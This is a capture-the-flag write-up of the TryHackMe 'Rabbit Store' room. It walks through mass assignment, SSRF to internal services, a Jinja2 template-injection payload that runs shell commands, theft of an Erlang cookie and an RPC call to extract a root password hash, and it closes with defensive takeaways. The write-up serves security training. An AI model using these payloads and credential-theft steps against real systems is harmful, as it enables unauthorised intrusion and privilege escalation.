CTF Writeup

Rabbit Store

TryHackMe · Web / Privilege Escalation · Medium · by 0xb0rn3

Platform TryHackMe Category Mass Assignment / SSRF / SSTI / Erlang RPC Difficulty Medium Target 10.112.185.184 Stack Apache 2.4.52 / Node.js+Express / Flask+Jinja2 / RabbitMQ+Erlang Flags 2 flags captured (user + root)
0
Context

Overview

A storage web app with a deep attack chain: mass assignment bypasses account activation, SSRF discovers internal RabbitMQ, a hidden chatbot endpoint is vulnerable to Jinja2 SSTI giving RCE as azrael, then the Erlang cookie enables RPC into the RabbitMQ node to extract the root user’s password hash — whose SHA-256 hex representation is the Linux root password.

ATTACK CHAIN
Mass Assignment (subscription=active) → bypass activation
  ↓
SSRF via /api/store-url → RabbitMQ on port 15672 discovered
  ↓
Hidden endpoint /api/fetch_messeges_from_chatbot
  ↓
Jinja2 SSTI → RCE as azrael → user.txt
  ↓
Erlang cookie stolen → RPC to rabbit@forge
  ↓
lookup_user("root") → SHA-256 hash bytes
  ↓
Hash hex = Linux root password → su root → root.txt
1
Reconnaissance

Port Scan & Virtual Hosts

PortServiceVersionNotes
22/tcpSSHOpenSSH 8.9p1Standard
80/tcpHTTPApache 2.4.52Proxies to Node.js storage app
4369/tcpEPMDErlang Port MapperErlang distribution — RabbitMQ
25672/tcpAMQPRabbitMQ inter-nodeErlang RPC target
cloudsite.thm Static marketing site storage.cloudsite.thm Storage web application (Node.js/Express)
2
Foothold

Mass Assignment → Active Subscription

The POST /api/register endpoint blindly accepts a subscription field. Setting it to "active" bypasses the normal activation flow.

BASH
$ curl -s -X POST http://storage.cloudsite.thm/api/register \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@pwn.com","password":"pass123","subscription":"active"}'

$ curl -s -X POST http://storage.cloudsite.thm/api/login \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@pwn.com","password":"pass123"}'
→ "active" — JWT cookie with subscription:"active"
3
SSRF

Internal Service Discovery via /api/store-url

The active dashboard exposes POST /api/store-url which fetches arbitrary URLs server-side. Pointing it at http://localhost:15672/ confirms RabbitMQ management is running internally. Fetching http://localhost:3000/api/docs reveals a hidden chatbot endpoint.

SSRF — INTERNAL DISCOVERY
$ curl -s -X POST http://storage.cloudsite.thm/api/store-url \
  -H "Cookie: jwt=<ACTIVE_JWT>" \
  -d '{"url":"http://localhost:15672/"}'
→ RabbitMQ Management HTML

$ curl -s -X POST http://storage.cloudsite.thm/api/store-url \
  -d '{"url":"http://localhost:3000/api/docs"}'
→ Hidden endpoint: POST /api/fetch_messeges_from_chatbot
4
RCE

Jinja2 SSTI → Shell as azrael

The chatbot endpoint forwards the username field to a Flask service (port 8000) that renders it directly into a Jinja2 template — classic SSTI.

PYTHON — SSTI
# Confirm SSTI
payload = {"username": "{{7*7}}"}
→ "Sorry, 49, our chatbot server is currently under development."

# RCE
payload = {"username": "{{cycler.__init__.__globals__.os.popen('id').read()}}"}
→ "Sorry, uid=1000(azrael) gid=1000(azrael)..., our chatbot..."

# User flag
rce("cat /home/azrael/user.txt")
→ 98d3a30fa86523c580144d317be0c47e
 User Flag
98d3a30fa86523c580144d317be0c47e
5
Lateral Movement

Erlang Cookie → RabbitMQ RPC

BASH — VIA SSTI RCE
$ cat /var/lib/rabbitmq/.erlang.cookie
cPwAQvXGd4r5n0Xn

The Erlang cookie authenticates to the rabbit@forge distribution node. Using erl with -setcookie, we make an RPC call to extract the RabbitMQ internal root user record:

ERLANG — RPC
R = rpc:call(rabbit@forge, rabbit_auth_backend_internal,
             lookup_user, [<<"root">>]),
file:write_file("/tmp/erl_out.txt", io_lib:format("~p~n", [R])),
halt().

→ {ok, {internal_user, <<"root">>,
   <<227,215,186,133,  % 4-byte salt
     41,93,29,22,162,97,125,246,247,230,99,5,
     39,255,47,30,187,92,67,179,246,236,97,72,
     17,237,25,79,152,7,53,133>>,  % 32-byte SHA-256
   [administrator], rabbit_password_hashing_sha256}}
6
Privilege Escalation

SHA-256 Hash = Linux Root Password

A hint in the RabbitMQ database reveals that the Linux root password is the SHA-256 hex representation of the stored hash bytes (skipping the 4-byte salt):

PYTHON
hash_bytes = bytes([41,93,29,22,162,97,125,246,247,230,99,5,39,255,47,30,
                    187,92,67,179,246,236,97,72,17,237,25,79,152,7,53,133])
linux_root_password = hash_bytes.hex()
→ 295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585
BASH
$ ssh -i key azrael@10.112.185.184
$ echo "295d1d16...73585" | su root -c "cat /root/root.txt"
eabf7a0b05d3f2028f3e0465d2fd0852
 Root Flag
eabf7a0b05d3f2028f3e0465d2fd0852
Visualization

Attack Chain

1
Mass Assignment
subscription=active bypasses account activation
2
SSRF
/api/store-url → RabbitMQ on 15672 + hidden chatbot endpoint
3
Jinja2 SSTI → RCE
{{cycler.__init__.__globals__.os.popen(...)}} → azrael → user.txt
4
Erlang Cookie → RPC
.erlang.cookierabbit@forgelookup_user("root")
Hash Hex = Root Password
SHA-256 bytes → hex string → su rootroot.txt
Assessment

Vulnerabilities

FindingLocationSeverityImpact
Mass AssignmentPOST /api/registerHighBypass account activation, gain active subscription
SSRFPOST /api/store-urlHighInternal service discovery (RabbitMQ, API docs)
Jinja2 SSTI → RCE/api/fetch_messeges_from_chatbotCriticalRemote code execution as azrael
Erlang cookie world-readable/var/lib/rabbitmq/.erlang.cookieCriticalFull RPC access to RabbitMQ node
Credential reuse (hash = password)RabbitMQ internal DBCriticalSHA-256 hex used as Linux root password
Defense

Takeaways

Whitelist Registration Fields
Never trust client-supplied fields for authorization attributes. Explicitly whitelist accepted fields — reject subscription, role, isAdmin.
Restrict SSRF Targets
Server-side URL fetching must block localhost, 127.0.0.1, and internal RFC1918 ranges. Use an allowlist of external domains.
Never Render Input in Templates
SSTI occurs when user data is concatenated into template strings. Use proper variable substitution, never string formatting.
Protect Erlang Cookies
The .erlang.cookie grants full RPC access to the cluster. Restrict permissions to the RabbitMQ service account only (chmod 400).
Arsenal

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curl / requestsMass assignment, SSRF, SSTI exploitation
erlErlang RPC to RabbitMQ node
ssh / ssh-keygenSSH key injection and access
rabbit_store_auto.pyFull automated exploit chain (Python)